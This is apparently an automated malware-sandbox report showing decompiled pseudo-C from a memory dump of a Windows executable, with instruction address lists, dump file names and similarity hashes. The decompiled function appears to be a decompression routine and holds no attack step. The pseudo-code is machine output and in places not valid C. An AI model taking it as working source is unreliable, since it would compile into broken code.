															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L79;
											case 0x1b:
												L75:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t274 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t274;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t283 = __ebp - 0x64;
												 *_t283 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t283;
												 *( *(__ebp - 0x68)) = __cl;
												L79:
												 *(__ebp - 0x14) = __edx;
												goto L80;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L80:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t544 = _t543 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406247
0x00406247
0x0040624b
0x0040626c
0x00406273
0x00406279
0x0040627f
0x00406291
0x00406297
0x0040629c
0x00000000
0x0040624d
0x00406253
0x00406614
0x00406614
0x00406614
0x00406617
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00406665
0x00406669
0x00406818
0x0040682e
0x00406836
0x0040683d
0x0040683f
0x00406846
0x0040684a
0x0040684a
0x00406675
0x0040667c
0x00406684
0x00406687
0x0040668a
0x0040668a
0x00406690
0x00406690
0x00405e2c
0x00405e2c
0x00405e2c
0x00405e35
0x00000000
0x00000000
0x00405e3b
0x00000000
0x00405e46
0x00000000
0x00000000
0x00405e4f
0x00405e52
0x00405e55
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea5
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00000000
0x00406797
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x00000000
0x004067a6
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405fa8
0x00405faa
0x00405fad
0x0040601e
0x00406021
0x00406024
0x0040602b
0x00406035
0x00406614
0x00406614
0x00000000
0x00406614
0x00405faf
0x00405fb3
0x00405fb6
0x00405fb8
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd0
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe5
0x00405fe9
0x00405ff1
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff5
0x00405ff8
0x00406016
0x00406018
0x00000000
0x00405ffa
0x00405ffa
0x00405ffd
0x00406000
0x00406003
0x00406005
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x00000000
0x00406011
0x00000000
0x00000000
0x00000000
0x004062b1
0x004062b5
0x004062d8
0x004062db
0x004062de
0x004062e8
0x004062b7
0x004062b7
0x004062ba
0x004062bd
0x004062c0
0x004062cd
0x004062d0
0x004062d0
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00000000
0x004062f4
0x004062f8
0x00000000
0x00000000
0x004062fe
0x00406302
0x00000000
0x00000000
0x00406308
0x0040630a
0x0040630e
0x0040630e
0x00406311
0x00406315
0x00000000
0x00000000
0x00406365
0x00406369
0x00406370
0x00406373
0x00406376
0x00406380
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00406614
0x0040636b
0x00000000
0x00000000
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x004063a6
0x004063a6
0x004063a9
0x004063ac
0x004063af
0x004063af
0x004063b2
0x004063b9
0x004063be
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00406041
0x00406041
0x00406045
0x004067b2
0x00000000
0x004067b2
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406060
0x00406063
0x00406066
0x00406066
0x00406069
0x0040606c
0x00000000
0x00000000
0x00406072
0x00406078
0x00000000
0x00000000
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060a9
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060dc
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060e5
0x004060ec
0x004060ef
0x00000000
0x004060f5
0x00000000
0x004060f5
0x00000000
0x004060fa
0x004060fa
0x004060fe
0x004067be
0x00000000
0x004067be
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x00406119
0x0040611c
0x0040611f
0x0040611f
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406142
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616d
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406172
0x00406179
0x0040617c
0x00000000
0x0040617e
0x00000000
0x0040617e
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406183
0x00000000
0x00000000
0x004061be
0x004061be
0x004061c2
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061dd
0x004061e0
0x004061e3
0x004061e3
0x004061e9
0x00406187
0x00406187
0x0040618a
0x00000000
0x0040618a
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406206
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406231
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x00406236
0x0040623d
0x00406240
0x00000000
0x00406242
0x00000000
0x00406242
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x0040629f
0x0040629f
0x004062a2
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00000000
0x004065de
0x004065e2
0x00406604
0x00406607
0x00406611
0x00406614
0x00406614
0x00406614
0x00000000
0x00406614
0x00406614
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065ee
0x004065f1
0x00000000
0x00000000
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x004066d2
0x004066d2
0x00000000
0x004066d2
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x004065f5
0x004065f5
0x004065f8
0x00000000
0x00000000
0x0040678c
0x0040678f
0x00406690
0x00000000
0x00000000
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x004063dd
0x004063e0
0x004063e3
0x004063e5
0x004063e7
0x004063e7
0x004063e8
0x004063eb
0x004063f2
0x004063f5
0x00406403
0x00000000
0x00000000
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x00000000
0x004066e8
0x004066e8
0x004066ec
0x00406824
0x00000000
0x00406824
0x004066f2
0x004066f5
0x004066f8
0x004066fc
0x004066ff
0x00406705
0x00406707
0x00406707
0x00406707
0x0040670a
0x0040670d
0x0040670d
0x0040670d
0x0040670d
0x00406710
0x00406710
0x00406714
0x00406774
0x00406777
0x0040677c
0x0040677d
0x0040677f
0x00406781
0x00406784
0x00406690
0x00406690
0x00000000
0x00406696
0x00406690
0x00406716
0x0040671c
0x0040671f
0x00406722
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406734
0x00406737
0x00406750
0x00406753
0x00406756
0x00406759
0x0040675d
0x0040675f
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406741
0x00406746
0x00406748
0x0040674b
0x0040674b
0x00406766
0x0040676d
0x00000000
0x0040676f
0x00000000
0x0040676f
0x00000000
0x0040640b
0x0040640e
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00000000
0x00406806
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00406356
0x00406356
0x00000000
0x00406356
0x004065d7
0x0040680c
0x00000000
0x00000000
0x00405e3b
0x00406843
0x00406843
0x00000000
0x00406843
0x00406690
0x00406617
0x00406614
0x00000000
0x0040624b

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab0e96aa9de7783a5fbfa8537471c17f47562fab6ccc56c1d015952012775d3a
Instruction ID: 47c5cb8fc101d284839cddc633a7ca9263ac2e2456f843b1234a04abf02d33d1
Opcode Fuzzy Hash: ab0e96aa9de7783a5fbfa8537471c17f47562fab6ccc56c1d015952012775d3a
Instruction Fuzzy Hash: 0C713371D00229CBDF28CFA8C844BADBBF1FB44305F15806AD816BB281D7785A86DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00406365, Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406365() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xb;
						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x28);
						L88:
						 *(__ebp - 0x2c) = __eax;
						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
						L89:
						__eax =  *(__ebp - 4);
						 *(__ebp - 0x80) = 0x15;
						__eax =  *(__ebp - 4) + 0xa68;
						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
						L69:
						 *(__ebp - 0x84) = 0x12;
						while(1) {
							L132:
							 *(_t613 - 0x54) = _t606;
							while(1) {
								L133:
								_t531 =  *_t606;
								_t589 = _t531 & 0x0000ffff;
								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
								if( *(_t613 - 0xc) >= _t565) {
									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
									 *(_t613 - 0x40) = 1;
									_t532 = _t531 - (_t531 >> 5);
									 *_t606 = _t532;
								} else {
									 *(_t613 - 0x10) = _t565;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									 *_t606 = (0x800 - _t589 >> 5) + _t531;
								}
								if( *(_t613 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t613 - 0x6c) == 0) {
									 *(_t613 - 0x88) = 5;
									L170:
									_t568 = 0x22;
									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
								L139:
								_t533 =  *(_t613 - 0x84);
								while(1) {
									 *(_t613 - 0x88) = _t533;
									while(1) {
										L1:
										_t534 =  *(_t613 - 0x88);
										if(_t534 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t534 * 4 +  &M0040684B))) {
											case 0:
												if( *(_t613 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t534 =  *( *(_t613 - 0x70));
												if(_t534 > 0xe1) {
													goto L171;
												}
												_t538 = _t534 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t570);
												_push(9);
												_pop(_t571);
												_t609 = _t538 / _t570;
												_t540 = _t538 % _t570 & 0x000000ff;
												asm("cdq");
												_t604 = _t540 % _t571 & 0x000000ff;
												 *(_t613 - 0x3c) = _t604;
												 *(_t613 - 0x1c) = (1 << _t609) - 1;
												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
												_t612 = (0x300 << _t604 + _t609) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
													L10:
													if(_t612 == 0) {
														L12:
														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t612 = _t612 - 1;
														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
													} while (_t612 != 0);
													goto L12;
												}
												if( *(_t613 - 4) != 0) {
													GlobalFree( *(_t613 - 4));
												}
												_t534 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t613 - 4) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 1;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t45 = _t613 - 0x48;
												 *_t45 =  *(_t613 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t613 - 0x48) < 4) {
													goto L13;
												}
												_t546 =  *(_t613 - 0x40);
												if(_t546 ==  *(_t613 - 0x74)) {
													L20:
													 *(_t613 - 0x48) = 5;
													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t613 - 0x74) = _t546;
												if( *(_t613 - 8) != 0) {
													GlobalFree( *(_t613 - 8)); // executed
												}
												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
												 *(_t613 - 8) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
												 *(_t613 - 0x84) = 6;
												 *(_t613 - 0x4c) = _t553;
												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
												L132:
												 *(_t613 - 0x54) = _t606;
												goto L133;
											case 3:
												L21:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 3;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												_t67 = _t613 - 0x70;
												 *_t67 =  &(( *(_t613 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
												L23:
												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
												if( *(_t613 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t531 =  *_t606;
												_t589 = _t531 & 0x0000ffff;
												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
												if( *(_t613 - 0xc) >= _t565) {
													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
													 *(_t613 - 0x40) = 1;
													_t532 = _t531 - (_t531 >> 5);
													 *_t606 = _t532;
												} else {
													 *(_t613 - 0x10) = _t565;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													 *_t606 = (0x800 - _t589 >> 5) + _t531;
												}
												if( *(_t613 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
